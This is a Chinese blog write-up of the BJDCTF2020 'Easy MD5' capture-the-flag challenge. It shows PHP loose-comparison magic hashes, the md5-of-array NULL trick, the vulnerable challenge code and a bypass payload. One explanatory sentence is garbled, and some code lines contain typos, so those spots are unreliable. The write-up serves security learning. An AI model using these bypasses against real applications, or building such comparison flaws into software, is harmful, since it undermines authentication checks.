[BJDCTF2020]Easy MD5
[BJDCTF2020]Easy MD5#
一个查询页面,源码也没有给出什么提示,但是给出了出题地址。
出题地址:https://github.com/BjdsecCA/BJDCTF2020 通过出题地址,找到了题目源码,输出 ‘ffifdyop’ 就可以跳转到下一个环节。
给出了部分的 php 代码(当然题目地址也有全部的源码,但是做题还是不直接看题目源码了)
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
这里给出的两个变量不能相等,但是md5值还要相等,才能执行 '{代码块}'中的语句。
# php 的 弱类型
// 在php中 == 和 === 都是用来比较是否相等的,区别在于,== 的比较是弱类型的,开头包含数字的字符串会被转换为数值并且比较按照数值比较,不会比较字符串的数据类型,而 === 是要完全相等(先比较数据类型是否相同,再比较字符串)。
<?php
var_dump(123=='123aaa'); // true
var_dump(123=='aaa123'); // false
var_dump(123==='123aaa'); // false
var_dump(123==='aaa123'); // false
?>
// 字符串与 0 比较
<?php
var_dump(0=='123aaa'); // false
var_dump(0=='aaa123'); // true
var_dump(0==='123aaa'); // false
var_dump(0==='aaa123'); // false
// 当比较 0 与 0e 开头的字符串的时候,弱类型比较下会将 '0e' 看作科学计数法,0*10**...最终结果还是 0,所以弱类型比较都是true。
<?php
var_dump(0=='0e545993274517709034328855841020'); // true
var_dump(0=='0e848240448830537924465865611904'); // true
var_dump('0e848240448830537924465865611904'=='0e545993274517709034328855841020'); // true
// md5(s878926199a) === 0e545993274517709034328855841020
// md(s155964671a) === 0e342768416822451524974117254469
?>
所以可以利用 php弱类型 来绕过 变量不相等 但 md5 相等的机制。
对字符串进行 md5 加密的时候,对于数组类型的数据是不会进行加密的,其返回结果是NULL,所以也可以进行绕过而且可以绕过md5的强类型比较。
解决 md5 强类型比较的问题,再看 !== 的问题,在 != 和 !== 的区别就在于,!== 的返回值只有 false,!= 返回值有0和false
因此知道当 $a !== b 为 t r u e , m d ( b 为true,md( b为true,md(a) === md5($b) 为true 的时候才能输出 flag。
<?php
$a=[1];
$b=[];
var_dump($a !== $b); // true
var_dump(md5($a) === md5($b)); // true
?>
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
// param1
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
因此 可以构造payload。
# payload
param1[]=1¶m2[]=2
参考文章:#
[php中的 !== 与 != ](
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582243.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582243.html
· 欧阳的2024年终总结,迷茫,重生与失业
· 聊一聊 C#异步 任务延续的三种底层玩法
· 上位机能不能替代PLC呢?
· 2024年终总结:5000 Star,10w 下载量,这是我交出的开源答卷
· .NET Core:架构、特性和优势详解